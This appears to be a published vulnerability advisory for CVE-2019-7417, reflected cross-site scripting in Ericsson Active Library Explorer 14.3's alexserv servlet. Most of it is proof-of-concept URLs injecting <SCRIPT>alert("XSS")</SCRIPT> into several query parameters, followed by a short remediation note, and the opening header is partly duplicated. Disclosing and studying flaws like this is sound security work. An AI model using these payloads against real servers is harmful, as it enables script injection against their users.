Ericsson Active Library Explorer ALEX 14.3 Cross Site Scripting

<!--
# Exploit Title: Cross Site Scripting in Ericsson Active Library Explorer
Server Version 14.3
# Date: 23-01-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: ht <!--
# Exploit Title: Cross Site Scripting in Ericsson Active Library Explorer
Server Version 14.3
# Date: 23-01-2019
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.ericsson.com
# Software Link: http://www.ericsson.com
# Version: Ericsson Active Library Explorer Server Version 14.3
# Tested on: all
# CVE : CVE-2019-7417
# Category: webapps

1. Description

XSS exists in Ericsson Active Library Explorer (ALEX) 14.3 in multiple
parameters in the "/cgi-bin/alexserv" servlet, as demonstrated by the DB,
FN, fn, or id parameter.

Active Library Explorer (ALEX) is server-based software that enables users
to browse Ericsson document libraries and documents with a standard web
browser. It consists of the following two parts, which are typically used
in two different web browser windows:

Library View a this part contains functions for accessing libraries
within a folder structure. For example, it is possible to search for
libraries, download libraries, or compare library variants. It is also
possible to start a search for documents in several libraries at the same
time.
Document View a this part contains functions for accessing documents
inside a library. For example, it is possible to search for documents or
within documents in individual libraries, and to print or bookmark
documents.


2. Proof of Concept

URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&fn=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
fn=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?id=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
id=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&id=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&fn=docno_metadata.txt


Parameter
id=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&id=23034&fn=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
fn=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=hlex_help.html


Parameter
ID=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=3020&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ac=LINK&id=23034&DB=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=alex.html


Parameter
DB=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ac=LINK&id=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&ac=image&fn=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
fn=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&DB=alex_help.ahx&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&CH=LibraryBrowser


Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=12446-2885Uen.E.html


Parameter
DB=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?ID=23034&DB=BSP_R8.1-LZN7800023_R8B.alx&AC=image&FN=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E


Parameter
FN=<SCRIPT>alert("XSS");</SCRIPT>


URL

http://X.X.X.X/cgi-bin/alexserv?VR=R18D&DB=%3CSCRIPT%3Ealert(%22XSS%22);%3C/SCRIPT%3E&FN=help.html&CH=LibraryBrowser


Parameter
DB=<SCRIPT>alert("XSS");</SCRIPT>


3. Solution:

Update to last version this product.
Patch:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#XSS_Prevention_Rules


-->